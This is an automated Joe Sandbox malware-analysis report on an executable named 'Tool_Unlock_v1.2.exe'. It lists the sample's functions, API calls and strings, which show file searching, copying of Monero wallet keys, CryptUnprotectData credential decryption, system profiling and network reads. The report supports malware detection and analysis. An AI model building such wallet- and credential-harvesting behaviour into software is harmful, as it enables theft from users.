Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 2659868963-1158432155
Opcode ID: 3820b06892becb1d352c9d3a2734231676a4fc2a05607bb6a9bd05b658a8b137
Instruction ID: dff525288e6c89251d0b93ad5d917654d0d66fb407d7c62c943245e3fec48fef
Opcode Fuzzy Hash: 3820b06892becb1d352c9d3a2734231676a4fc2a05607bb6a9bd05b658a8b137
Instruction Fuzzy Hash: 8B01BCF1618700ABDB1ADF28D846A1BBBE8EF08318F01881CF9598F351D375E808CB85

Function 00332610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0034060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,0033F354,03532C50,?,?,?,0033F354,00333D4A,0036759C,00333D4A), ref: 0034066D

___std_exception_copy.LIBVCRUNTIME ref: 00332673

Strings

ios_base::badbit set, xrefs: 00332650
bad array new length, xrefs: 00332626

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 3109751735-1158432155
Opcode ID: acea5a26c3c064e19ee9272973675cf7c29303969f3aeb4d8392cfaccbd4abc8
Instruction ID: 681850c4cf92370e6d4cbaa3cc05a6108491099b907a9632c801cdc200dca496
Opcode Fuzzy Hash: acea5a26c3c064e19ee9272973675cf7c29303969f3aeb4d8392cfaccbd4abc8
Instruction Fuzzy Hash: 1EF058F1A14300ABD711AF18D805B47BBE4EB08319F01881CF9999B310D3B5E448CB92

Analysis Process: Tool_Unlock_v1.2.exePID: 6224, Parent PID: 3276COMMON

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.6%
Total number of Nodes:	190
Total number of Limit Nodes:	1

Executed Functions

Function 0040F070 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(00000000,00000000,?,?,006773F4), ref: 0040F0DA

Strings

E, xrefs: 0040F07B
;$, xrefs: 0040F086, 0040F0AE, 0040F0C6, 0040F0E4

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileFindFirst
String ID: ;$$E
API String ID: 1974802433-3341445489
Opcode ID: f9b7842a33792373b1873d2cc6546f5c8081bff433e4c7e5aaa5e8d02fb3e7ec
Instruction ID: 04205f1c496d250a77e52773a0e38ecadb8993d25bf1b384199678b690e81055
Opcode Fuzzy Hash: f9b7842a33792373b1873d2cc6546f5c8081bff433e4c7e5aaa5e8d02fb3e7ec
Instruction Fuzzy Hash: 7701A7363011105FC204DB5DDC85DDAB3E9EF96324B0A41A6FC14C7362E2B1AD20CB5A

Function 0042A1D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0042A1F1
Process32First.KERNEL32(00000000), ref: 0042A202

Strings

;Zl,, xrefs: 0042A217

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID: ;Zl,
API String ID: 2353314856-2631222162
Opcode ID: ebcd35918300f38358def8485a4f69bc8a210892bead5681677d94ebf330a19b
Instruction ID: 1445bc36126a0966115a56501ead2c6b097456b3900d8e6061c02cc82a33a4f1
Opcode Fuzzy Hash: ebcd35918300f38358def8485a4f69bc8a210892bead5681677d94ebf330a19b
Instruction Fuzzy Hash: 65F03970300608AFD750EF28DC89F6676ECEF8A345F110428E946DB3A2E6709D45CBA6

Function 0042ED20 Relevance: 4.6, APIs: 3, Instructions: 54
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(?,?), ref: 0042ED85
memset.MSVCRT ref: 0042ED9B
memset.MSVCRT ref: 0042EDB1

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: memset$FileFindFirst
String ID:
API String ID: 2180624105-0
Opcode ID: 2b3faea72619b2538181c7a3f125fcabe878b0613ac89f8b49d32837c7f16876
Instruction ID: b49de87435e786d016f49fc699c02f186a3b471c293fde2058178a6014e96d0b
Opcode Fuzzy Hash: 2b3faea72619b2538181c7a3f125fcabe878b0613ac89f8b49d32837c7f16876
Instruction Fuzzy Hash: 0F110675A412046FEB10DF59DC96E8A73A8EB94301F050068F915E7391EDB8AD008FD9

Function 0040F2B3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDesktopA.USER32 ref: 0040F2D9

Strings

D, xrefs: 0040F3B1

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CreateDesktop
String ID: D
API String ID: 3054513912-2746444292
Opcode ID: d1fad799616dd8a475c56c21450756720df1fbb703db9722d609a6c106b1e610
Instruction ID: 217a44584fe79af48904659f8cc99f11f80687329e61ea1f58b7d041bb4decb4
Opcode Fuzzy Hash: d1fad799616dd8a475c56c21450756720df1fbb703db9722d609a6c106b1e610
Instruction Fuzzy Hash: CD41B1B2A103148FC704CF68DC91BA977B4FBA9304F454669E809E3312EB70EB94CB55

Function 00402CC0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 00402FBC

Strings

\*.*, xrefs: 00402D57, 00402D76

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileFindFirst
String ID: \*.*
API String ID: 1974802433-1173974218
Opcode ID: 809103a4f9b2dd9a16cb4572e34a19afdd06db76a7bbb9bee2e1c9b1017b5db7
Instruction ID: e67fa776abf559b25e7d1b004a1a7c293b711bfffbe691b410fbce6afbe12ddc
Opcode Fuzzy Hash: 809103a4f9b2dd9a16cb4572e34a19afdd06db76a7bbb9bee2e1c9b1017b5db7
Instruction Fuzzy Hash: B441257AB447049FC728CF5CDCC0EA9B3B6AB88245B081169E455D73B2E660EE40CF58

Function 00402E74 Relevance: 1.6, APIs: 1, Instructions: 106fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 00402FBC

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: f657eb48f155afa7bac22a4868ef907b09c075a0dbf755af852d6806b9fb41e4
Instruction ID: 5386ac8ee91c83390a983b4bd80e9816396854b377d464d633914a088f5572a8
Opcode Fuzzy Hash: f657eb48f155afa7bac22a4868ef907b09c075a0dbf755af852d6806b9fb41e4
Instruction Fuzzy Hash: 3741F57AB447149FC718DF58DCC0EADB3BAAB88604B041068E856D73B6DA70EE44CF48

Function 00410E80 Relevance: 1.6, APIs: 1, Instructions: 96fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 00410F89

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 2dd8c4a1253ec12c79a2896d24d31127e024fa55bf23dc599d2c88a3c435a7ed
Instruction ID: 971c8f26c93178040aa9fded4be799eae79e9697ec246a83c1feeab136c85559
Opcode Fuzzy Hash: 2dd8c4a1253ec12c79a2896d24d31127e024fa55bf23dc599d2c88a3c435a7ed
Instruction Fuzzy Hash: EC314B727002145FCB18EFAEDC81BAD73E5AF88305F144878E41AD7352DA70AA498F59

Function 004132E0 Relevance: 1.6, APIs: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 004133D2

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 72fabcca26a4d611c7e2bc5e8d0cdf254245b880d0709c52ba81e6f53bcd0615
Instruction ID: 42d43a0d2069ad1b1d14c494a1c3b6fa52303c0cec0a1b2bf097db1209cd30e2
Opcode Fuzzy Hash: 72fabcca26a4d611c7e2bc5e8d0cdf254245b880d0709c52ba81e6f53bcd0615
Instruction Fuzzy Hash: B83189313412149FC724DB5DCCE5F9AB7B1EF89304B150968F909D7350EAB0AE04CB59

Function 00415221 Relevance: 1.6, APIs: 1, Instructions: 80fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 004152E5

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: f6674521cf2661ca0ce3182678bab1f2244ec8d76944665855d295267d8ad57e
Instruction ID: c36fa41b2dcb22c942bd1e0c0a8aa7469fa4610b2fe32c10c45ba6e3b42067c3
Opcode Fuzzy Hash: f6674521cf2661ca0ce3182678bab1f2244ec8d76944665855d295267d8ad57e
Instruction Fuzzy Hash: A0218E32700204ABCB18DF6DDCC5E9937E5BF88208F040568E51AD3751EA34EE098B59

Function 00417F79 Relevance: 1.6, APIs: 1, Instructions: 78fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 00418038

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: b2a564f0b7b1a6cf5c5b0dc91a1b32b0170174db4516a15add060de036d31344
Instruction ID: 0650d9496eb24553d0924f6a974076d1b8e05c873b0f51694659cd49c5e499f6
Opcode Fuzzy Hash: b2a564f0b7b1a6cf5c5b0dc91a1b32b0170174db4516a15add060de036d31344
Instruction Fuzzy Hash: D521A176A002149BC718CF6DDC859DE77E6BFC8310B184114E819D3361DA70EF15CB98

Function 0042FE60 Relevance: 1.5, APIs: 1, Instructions: 43fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 0042FEC9

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 74123c6d9de076ccb616b683910c85a73a6147e353200b20dd7a8524c557da6a
Instruction ID: 9e5116651208ff035972aeed22c85c258bff9eea49302235151e49b23baff0dc
Opcode Fuzzy Hash: 74123c6d9de076ccb616b683910c85a73a6147e353200b20dd7a8524c557da6a
Instruction Fuzzy Hash: F40192746010049FDB14CF6CDC49E6E73B9EB85300F550628F90DD7395EAB4AD11CBA9

Function 004315C0 Relevance: 1.5, APIs: 1, Instructions: 40fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 00431621

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 792ac740bbd657cac5c9aa10c6a0130b97f08bb18e829af6db136fce8e89b46c
Instruction ID: 4d27d3a15a2d8778fabac609de7cad56615c203a0a52915a436451ec35ebae3b
Opcode Fuzzy Hash: 792ac740bbd657cac5c9aa10c6a0130b97f08bb18e829af6db136fce8e89b46c
Instruction Fuzzy Hash: 3D01A274640104AFDB18DB28DC89E5533B9FB84310F054168F51AD73D0EAB9AC00CFEA

Function 00426960 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00426971

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 1515700fc64517df071922856f7d700c2c9821007009b647809773e064e0f093
Instruction ID: 77d0e461d9913b7729ed382e6f77b3371244e67e1d38cc15d906f377e2becbc0
Opcode Fuzzy Hash: 1515700fc64517df071922856f7d700c2c9821007009b647809773e064e0f093
Instruction Fuzzy Hash: 3BF0E2B6B40600AFC218EF54EEC5D967369DB88754B000524FB04D3BB0E6F0ED0587EA

Function 0040FBB0 Relevance: 1.5, APIs: 1, Instructions: 28encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32 ref: 0040FBEE

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: bc902ee00f69c84ef729cb9ee8d8aa658b786e3c5862b92f2ebfd6e2eb0961ac
Instruction ID: 1f25b041e11b9214de6e3d0f3129310070ff5df2e63173ec9a9fec1826d3f87b
Opcode Fuzzy Hash: bc902ee00f69c84ef729cb9ee8d8aa658b786e3c5862b92f2ebfd6e2eb0961ac
Instruction Fuzzy Hash: 5CF06D719083118FC304DF28D584A1BBBF5EF89304F118A5DF888A7391E730A944CB52

Function 004262E0 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(00000000), ref: 00426316

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 7aa11cb0ede034a243d1d1c1395ca3f98541101aa327b2223676e95e4b3056d8
Instruction ID: 3a1c0b43ab6d9a9ee8c84e48dea589f7cb866c7e4cd64f145271fdff0a7f6eb9
Opcode Fuzzy Hash: 7aa11cb0ede034a243d1d1c1395ca3f98541101aa327b2223676e95e4b3056d8
Instruction Fuzzy Hash: 21E08CB27001103BD210971DFC45FAB77999FC5364F090024F284D3380EAF4A98186AA

Function 00426450 Relevance: 1.5, APIs: 1, Instructions: 24timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32 ref: 00426483

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: InformationTimeZone
String ID:
API String ID: 565725191-0
Opcode ID: abb3bf571c1522f366c103458c6c34d826e47d19c4bd4554a0e5a515e1b49fce
Instruction ID: 0c3e9a94476ff4d6dfe5096b7b62c8954465ab02d25120dc73cd94a7aa3ccc54
Opcode Fuzzy Hash: abb3bf571c1522f366c103458c6c34d826e47d19c4bd4554a0e5a515e1b49fce
Instruction Fuzzy Hash: 0CE065B5B51520BFD218DB34DD59E1937A4AB88330F094164E9199F2E0E6F19C48CF55

Function 0042FA59 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 0042FA71

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: DriveLogicalStrings
String ID:
API String ID: 2022863570-0
Opcode ID: cda1f9754d99458a4b6050cdd4823e603f13857ebfac6f8866b85090af12182b
Instruction ID: 790e74025b711b6e4743f5ff1aa381cd5c631f212f6964188fca9f4db6c55de1
Opcode Fuzzy Hash: cda1f9754d99458a4b6050cdd4823e603f13857ebfac6f8866b85090af12182b
Instruction Fuzzy Hash: 3FF0ED7AE14218EFDB08CFA0CC90FD87BB1AB44354F04002DE401C7382EA70A605CB80

Function 00408620 Relevance: 1.5, APIs: 1, Instructions: 16filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000007CF,?), ref: 00408632

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: f974a2193acfcf21e6f46b29a184e7e5ed36a55c610a6970cef64197aefd69b5
Instruction ID: bf681e8d1d0434db5b7eefdf8966aafcf26a628a9585c1b948e1487fc86e925a
Opcode Fuzzy Hash: f974a2193acfcf21e6f46b29a184e7e5ed36a55c610a6970cef64197aefd69b5
Instruction Fuzzy Hash: A5E046B1A0020ACFDB04AB14CC86D9577B6EB88B0472040A8A1159B265E671E942CF80

Function 004266EA Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00426700

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 295e74b6ccb028ae21b2e98e65fde634fd588ad72f1bf5c8456a210b25577c11
Instruction ID: c9fdc8429e9ec906926c83a010b99e61c273e1e78a535fdfcf792a5445de7926
Opcode Fuzzy Hash: 295e74b6ccb028ae21b2e98e65fde634fd588ad72f1bf5c8456a210b25577c11
Instruction Fuzzy Hash: 07E01271315B01AFD3088F58DDD9F7533A5BB88700F50492DE501971D1FAA8E854E755

Function 00402673 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 207
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileA.KERNEL32(?,00000000,00000001), ref: 004028E3

Strings

\Monero\wallet.keys, xrefs: 0040271E, 0040273A
Wallets, xrefs: 004026E1, 004026FD
.W, xrefs: 004027F6
..W, xrefs: 004026D5
f.W, xrefs: 00402712
.keys, xrefs: 00402697, 004026A1
C:\ProgramData\, xrefs: 004027A8, 004027C4

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CopyFile
String ID: ..W$.keys$C:\ProgramData\$Wallets$\Monero\wallet.keys$f.W$.W
API String ID: 1304948518-488190762
Opcode ID: f251cd435a280d66950c1458288a83b7ffd56ab1dc76b70bf95d5fc1ca504550
Instruction ID: c293449aa8a301fad90c06bef4d04059d652c481ddf2f1d2500a074f01ca2260
Opcode Fuzzy Hash: f251cd435a280d66950c1458288a83b7ffd56ab1dc76b70bf95d5fc1ca504550
Instruction Fuzzy Hash: 7D813776740340DFC708DBACDDC1E6D33F9EF996057040629E801DB366EA64EA448F68

Function 004399AE Relevance: 10.1, APIs: 6, Instructions: 1093
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(006792FD), ref: 0043A94C
LoadLibraryA.KERNEL32(00679315), ref: 0043A9CE
LoadLibraryA.KERNEL32(00679321), ref: 0043AA0F
LoadLibraryA.KERNEL32(00679348), ref: 0043AAD2
LoadLibraryA.KERNEL32(00679353), ref: 0043AB13
LoadLibraryA.KERNEL32(00679361), ref: 0043AB54

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 27ff5559cbc524e15a01f06e629904fbdb2786be9d725791208d93a97e564298
Instruction ID: dc864dccd5dd81cc02d1ca1e57110344a4f766d383acbb680a8e4be149b3983c
Opcode Fuzzy Hash: 27ff5559cbc524e15a01f06e629904fbdb2786be9d725791208d93a97e564298
Instruction Fuzzy Hash: 0DA2EEB5B41601EFC304EB98DCD1E1433EAAF48334B5950A9E425DB363F7B0A955CB2A

Function 004197C0 Relevance: 7.6, APIs: 5, Instructions: 61
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004197DA
memset.MSVCRT ref: 004197F7
memset.MSVCRT ref: 0041980D
memset.MSVCRT ref: 00419823
RegOpenKeyExA.KERNEL32(80000001,006777F1,00000000,00000001,?), ref: 0041987B

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: memset$Open
String ID:
API String ID: 276825008-0
Opcode ID: fefbe6f05b9b638f038f352334744759ae46dd5f8f6908bedd34aa1dd81eef56
Instruction ID: a0d66bda8035d55aaefbff23b984b6f5ed367afcb28488f7b9d51bd43c24d872
Opcode Fuzzy Hash: fefbe6f05b9b638f038f352334744759ae46dd5f8f6908bedd34aa1dd81eef56
Instruction Fuzzy Hash: B51193F1A403046BF710DBD4EC46F9A33B89B44708F144029F708EB2C2E6B5A9198B99

Function 00407E43 Relevance: 6.6, APIs: 4, Instructions: 641
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,00000000,?,?,006671FD,?,?,0066723C,?,00667231,?,00667204,?,006671FD), ref: 0040845C
memcpy.MSVCRT(00000000,?,00000000,?,?,006671FD,?,?,0066723C,?,00667231,?,00667204,?,006671FD), ref: 00408496
memcpy.MSVCRT(00000000,006671FD,?,?,?,0066723C,?,00667231,?,00667204,?,006671FD,?,0066722A,?,006671CF), ref: 004084C4
memcpy.MSVCRT(?,?,00000000,?,?,?,?,?,0066723C,?,00667231,?,00667204,?,006671FD), ref: 0040851D

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: memcpy$AllocateHeap
String ID:
API String ID: 4068229299-0
Opcode ID: 6a362f1741799a7d6d6c8dc722a2057cb4d7f3710d2b9d05c7e960ad8672ff27
Instruction ID: fd1df6d79f8292ab7119f165f76e290a1d48af58f232b5d9663df8abebe61d82
Opcode Fuzzy Hash: 6a362f1741799a7d6d6c8dc722a2057cb4d7f3710d2b9d05c7e960ad8672ff27
Instruction Fuzzy Hash: 96220972B00A149FC755DFADDC92E6DB3EBAFD52097080039E025D3362CAA4EE158B5D

Function 00425BA3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNEL32 ref: 00425BEC

Strings

:\, xrefs: 00425BB1
C, xrefs: 00425BA3

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: InformationVolume
String ID: :\$C
API String ID: 2039140958-3309953409
Opcode ID: de0dbd57c80c30e6a15c4decf99b46ae18b9950ccd8240739d8d346edc6c05c0
Instruction ID: d3ef68d34b01ff5348140d152660dcfbd74ea512b3250cfb28ec85a856234f2a
Opcode Fuzzy Hash: de0dbd57c80c30e6a15c4decf99b46ae18b9950ccd8240739d8d346edc6c05c0
Instruction Fuzzy Hash: 9D112A75108744AFC315FF28C984A2AB7E0AF98304F058A2DF89497362E7B4A945CB4B

Function 00410CF6 Relevance: 4.6, APIs: 3, Instructions: 118
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,000F423F), ref: 00410D23
RtlFreeHeap.NTDLL(00000000,00000000,00000000), ref: 00410E3D
DeleteFileA.KERNEL32(00000000), ref: 00410E5E

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: Heap$AllocateDeleteFileFree
String ID:
API String ID: 2485951164-0
Opcode ID: 84bfd28ba4f1d44909fa3a98197329464b96e1117b6644ef771e58fe6d36864a
Instruction ID: bced26e8f23608e8b15cbae2194e18a9c66b9fd46b7673a6486075d69ba76919
Opcode Fuzzy Hash: 84bfd28ba4f1d44909fa3a98197329464b96e1117b6644ef771e58fe6d36864a
Instruction Fuzzy Hash: C14117B5645200AFC704EF99DCD9E6A77E8FF8C605B044068E905D7362E6B4EE01CB6A

Function 00432100 Relevance: 4.0, APIs: 3, Instructions: 275
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0043211A
memset.MSVCRT ref: 0043225E
memset.MSVCRT ref: 0043237D

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: be4ccea7961927669b09af63d3dea30f235574e2b1dd7054d6cd3d13e508993f
Instruction ID: 8f231bfe9baad49da2df19c1ad7b897d6cb3d40dbc45a1ff6f697bb663a90d52
Opcode Fuzzy Hash: be4ccea7961927669b09af63d3dea30f235574e2b1dd7054d6cd3d13e508993f
Instruction Fuzzy Hash: 7BB104766402149FCF00DB98ED86E9877F9BB88710B050166EA05D7361F6F1ED22CB9A

Function 0042AAF0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteEx.SHELL32(?), ref: 0042ADA2

Strings

